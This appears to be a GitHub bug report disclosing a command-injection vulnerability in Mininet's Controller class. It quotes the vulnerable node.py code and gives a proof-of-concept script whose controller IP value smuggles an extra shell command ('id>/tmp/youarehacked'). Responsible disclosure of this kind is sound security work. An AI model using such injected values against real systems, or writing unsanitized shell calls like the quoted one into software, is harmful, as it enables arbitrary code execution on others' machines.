-
Notifications
You must be signed in to change notification settings - Fork 1.8k
Description
Mininet uses GitHub issues for bug reports and feature requests only.
These issues can be viewed at bugs.mininet.org
If you have a question that is not a bug report or a feature request,
please use the documentation at docs.mininet.org, the FAQ
at faq.mininet.org, and the mininet-discuss mailing list.
For bug reports, please fill in the following information in detail,
and also feel free to include additional information such as debug
output from mn -v debug, etc.
--- Cut Here ---
Expected/Desired Behavior:
create an mininet network.
Actual Behavior:
arbitary code execution
Detailed Steps to Reproduce the Behavior:
We found a security issue that may cause arbitary code execution.
the call stack is:
Controller => __init__ => checkListening => listening = self.cmd( "echo A | telnet -e A %s %d" % ( self.ip, self.port ) )
source code:
# mininet/mininet/node.py
class Controller( Node ):
"""A Controller is a Node that is running (or has execed?) an
OpenFlow controller."""
def __init__( self, name, inNamespace=False, command='controller',
cargs='-v ptcp:%d', cdir=None, ip="127.0.0.1",
port=6653, protocol='tcp', **params ):
self.command = command
self.cargs = cargs
self.cdir = cdir
# Accept 'ip:port' syntax as shorthand
if ':' in ip:
ip, port = ip.split( ':' )
port = int( port )
self.ip = ip
self.port = port
self.protocol = protocol
Node.__init__( self, name, inNamespace=inNamespace,
ip=ip, **params )
self.checkListening()
def checkListening( self ):
"Make sure no controllers are running on our port"
# Verify that Telnet is installed first:
out, _err, returnCode = errRun( "which telnet" )
if 'telnet' not in out or returnCode != 0:
raise Exception( "Error running telnet to check for listening "
"controllers; please check that it is "
"installed." )
listening = self.cmd( "echo A | telnet -e A %s %d" %
( self.ip, self.port ) )
if 'Connected' in listening:
servers = self.cmd( 'netstat -natp' ).split( '\n' )
pstr = ':%d ' % self.port
clist = servers[ 0:1 ] + [ s for s in servers if pstr in s ]
raise Exception( "Please shut down the controller which is"
" running on port %d:\n" % self.port +
'\n'.join( clist ) )We focus on:
listening = self.cmd( "echo A | telnet -e A %s %d" % ( self.ip, self.port ) )self.cmd() execute what ever passed to it. We can see that self.ip and self.port are user controllable inputs,without any kind of filter or other defences. So if we gave a malicious IP, we can get an arbitary code execution.
Using self.cmd() without defence is quite dangerous, because sometimes the attacker can control the input of ip or port. For example, the supply chain attack, or some developer encapsulate mininet with a web page so that the attacker may give a malicious IP/PORT to make arbitary code execution.
We strongly suggest to add some kind of defence here, or totally change the mechanism of some functions.
Our exploit is as follows:
#!/usr/bin/python
from mininet.net import Mininet
from mininet.node import RemoteController
from mininet.log import setLogLevel, info
CONTROLLER_IP='127.0.0.1;id>/tmp/youarehacked;#'
CONTROLLER_PORT=6653
info('Controller IP Addr:', CONTROLLER_IP, '\n' )
info('Controller Port:', CONTROLLER_PORT, '\n' )
def customNet():
net = Mininet( topo=None, build=False )
info( 'Adding controller\n' )
net.addController( 'c0',
controller=RemoteController,
ip=CONTROLLER_IP,
port=CONTROLLER_PORT
)
if __name__ == '__main__':
setLogLevel( 'info' )
customNet()the results is shown below:
Additional Information:
please think about fixing this kind of security problems.